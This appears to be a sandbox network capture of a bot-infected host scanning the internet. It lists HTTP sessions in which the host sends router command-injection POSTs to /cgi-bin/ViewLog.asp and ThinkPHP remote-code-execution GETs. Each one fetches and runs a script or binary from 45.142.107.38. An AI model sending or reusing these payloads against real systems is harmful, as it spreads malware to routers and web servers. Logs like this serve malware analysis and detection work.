Mar 4, 2024 15:08:37.750919104 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
529	192.168.2.13	38036	95.85.8.29	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:51.620836973 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
530	192.168.2.13	52694	95.214.134.44	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:51.832818985 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:52.031887054 CET	932	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Mon, 04 Mar 2024 14:07:51 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
531	192.168.2.13	34500	95.9.107.232	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:51.862687111 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
532	192.168.2.13	38000	88.208.245.78	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:51.928746939 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:52.093759060 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Mar 2024 14:07:53 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
533	192.168.2.13	43542	88.217.239.55	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:51.956777096 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:52.145667076 CET	139	IN	HTTP/1.0 302 Moved Temporarily Location: https:///index.php?s=/index/ Server: BigIP Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
534	192.168.2.13	50360	85.25.213.207	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:52.811331034 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:52.994678020 CET	304	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:07:53 GMT Server: Apache Content-Length: 126 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 27 2b 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2b 27 3a 27 2b 6c 6f 63 61 74 69 6f 6e 2e 70 6f 72 74 3b 3c 2f 73 63 72 69 70 74 3e 3c 68 31 3e 45 72 72 6f 72 20 34 30 30 20 2d 20 74 72 79 69 6e 67 20 74 6f 20 72 65 64 69 72 65 63 74 3c 2f 68 31 3e Data Ascii: <script>document.location.href='https://'+location.hostname+':'+location.port;</script><h1>Error 400 - trying to redirect</h1>

Session ID	Source IP	Source Port	Destination IP	Destination Port
535	192.168.2.13	36492	31.136.141.254	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:52.811383009 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:56.023020983 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:02.166966915 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:14.198843956 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:39.798886061 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
536	192.168.2.13	54576	94.120.28.123	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:52.844789982 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
537	192.168.2.13	36398	62.29.84.114	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:52.848131895 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
538	192.168.2.13	36666	94.24.36.29	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:53.166723967 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
539	192.168.2.13	55624	95.111.47.101	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:53.261578083 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
540	192.168.2.13	47450	94.120.168.179	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:53.274391890 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
541	192.168.2.13	48222	94.180.250.76	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:53.485135078 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:53.785629034 CET	1286	IN	HTTP/1.0 407 Proxy Authentication Required Server: squid/3.1.23 Mime-Version: 1.0 Date: Mon, 04 Mar 2024 14:07:53 GMT Content-Type: text/html Content-Length: 3366 X-Squid-Error: ERR_CACHE_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en Proxy-Authenticate: NTLM Proxy-Authenticate: Basic realm="Squid proxy-caching web server" X-Cache: MISS from = X-Cache-Lookup: NONE from =:8080 Via: 1.0 = (squid/3.1.23) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 43 61 63 68 65 20 41 63 63 65 73 73 20 44 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Cache Access Denied</title><style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title */#titles h1 {color: #000000;}#ti

Session ID	Source IP	Source Port	Destination IP	Destination Port
542	192.168.2.13	55278	62.151.178.75	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:53.602349997 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
543	192.168.2.13	32858	31.136.239.150	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:53.664161921 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:54.230936050 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
